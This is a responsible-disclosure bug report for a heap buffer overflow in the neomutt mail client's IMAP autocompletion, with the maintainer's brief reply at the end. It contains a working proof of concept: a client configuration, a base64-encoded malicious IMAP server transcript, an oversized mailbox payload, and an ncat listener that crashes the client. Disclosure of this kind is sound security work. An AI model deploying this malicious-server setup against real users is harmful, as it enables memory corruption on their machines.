Heap-based Buffer Overflow in neomutt/neomutt
Reported on
Jan 1st 2022
Description
When connected through imap/imaps with a server, neomutt is prone to a heap buffer overflow when using the auto completion feature.
Proof of Concept
Prepare client configuration which connects to 127.0.0.1:14300
cat > muttrc << EOF
set imap_user="tobias@stoeckmann.org"
set imap_pass="pass"
set folder="imap://tobias@stoeckmann.org@127.0.0.1:14300/"
set ssl_force_tls="no"
set ssl_starttls="no"
set spoolfile="+INBOX"
EOF
First chunk of imap data sent by server to our client
cat > imap.txt.b64 << EOF
KiBPSyBbQ0FQQUJJTElUWSBJTUFQNHJldjEgQ0hJTERSRU4gRU5BQkxFIElEIElETEUgTElTVC1F
WFRFTkRFRCBMSVNULVNUQVRVUyBMSVRFUkFMLSBNT1ZFIE5BTUVTUEFDRSBRVU9UQSBTT1JUIFNQ
RUNJQUwtVVNFIFRIUkVBRD1PUkRFUkVEU1VCSkVDVCBVSURQTFVTIFVOU0VMRUNUIFdJVEhJTiBB
VVRIPUxPR0lOIEFVVEg9UExBSU5dIElNQVAgc2VydmVyIHJlYWR5IEggbG9jYWwgMTkuMSBsb2Nh
bGhvc3QKYTAwMDAgT0sgQVVUSEVOVElDQVRFIGNvbXBsZXRlZAoqIENBUEFCSUxJVFkgSU1BUDRy
ZXYxIENISUxEUkVOIEVOQUJMRSBJRCBJRExFIExJU1QtRVhURU5ERUQgTElTVC1TVEFUVVMgTElU
RVJBTC0gTU9WRSBOQU1FU1BBQ0UgUVVPVEEgU09SVCBTUEVDSUFMLVVTRSBUSFJFQUQ9T1JERVJF
RFNVQkpFQ1QgVUlEUExVUyBVTlNFTEVDVCBXSVRISU4gQVBQRU5ETElNSVQ9MTQwMDAwMDAwCmEw
MDAxIE9LIENBUEFCSUxJVFkgY29tcGxldGVkCmEwMDAyIE9LIEVOQUJMRSBjb21wbGV0ZWQKKiBM
SVNUIChcTm9zZWxlY3QpICIvIiAiIgphMDAwMyBPSyBMSVNUIGNvbXBsZXRlZAoqIDAgRVhJU1RT
CiogMCBSRUNFTlQKKiBGTEFHUyAoXEFuc3dlcmVkIFxGbGFnZ2VkIFxEZWxldGVkIFxTZWVuIFxE
cmFmdCkKKiBPSyBbUEVSTUFORU5URkxBR1MgKFxBbnN3ZXJlZCBcRmxhZ2dlZCBcRHJhZnQgXERl
bGV0ZWQgXFNlZW4gXCopXSBVbmxpbWl0ZWQKKiBPSyBbVUlETkVYVCAxXSBQcmVkaWN0ZWQgbmV4
dCBVSUQKKiBPSyBbVUlEVkFMSURJVFkgMTY0MTA1Mjg1NV0gVUlEcyB2YWxpZAphMDAwNCBPSyBb
UkVBRC1XUklURV0gU0VMRUNUIGNvbXBsZXRlZAoqIExJU1QgKFxOb3NlbGVjdCkgIi8iIHsyMTQ3
NTg2MDQ4fQo=
EOF
base64 -d imap.txt.b64 > imap.txt
Second chunk of imap data, mailbox name with slightly more than 2 GB
dd if=/dev/zero bs=1024 count=2097252 | tr '\0' 'a' > long.txt
Run server
(cat imap.txt; cat long.txt; echo "") | ncat -lvp 14300
Connect with neomutt to PoC server
neomutt -F muttrc
This user interaction is required:
- Press
c
to change mailbox. - Enter
imap://tobias@stoeckmann.org@127.0.0.1:14300/
and press TAB
The proof of concept should crash neomutt (Arch Linux amd64).
Impact
A malicious server (or man in the middle attack with plain imap) can abuse an integer overflow to write a byte with arbitrary value followed by a NUL byte in a 2 GB range within address space of neomutt.
This can be used to modify internal data, leading to malicious activity controlled by the server.
An attacker still has a hard time to properly abuse this bug. A stepping
stone is the imap request a0005 LIST "" "(null)%"
which indicates that
autocompletion might be in place.
Still it must be a targeted attack or more issues would have to be exploited to figure out at which address bytes should be overwritten.
Occurrences
imap.c L1353
clen
must be size_t
because imap buffer is increased until end of line (or out of memory) is encountered
References
Many thanks Tobias!
I haven't used Huntr before; let me know if there's anything else I should do.
Hi Richard,
thank you for your quick response and your efforts in maintaining neomutt of course! There's nothing left to do for this ticket.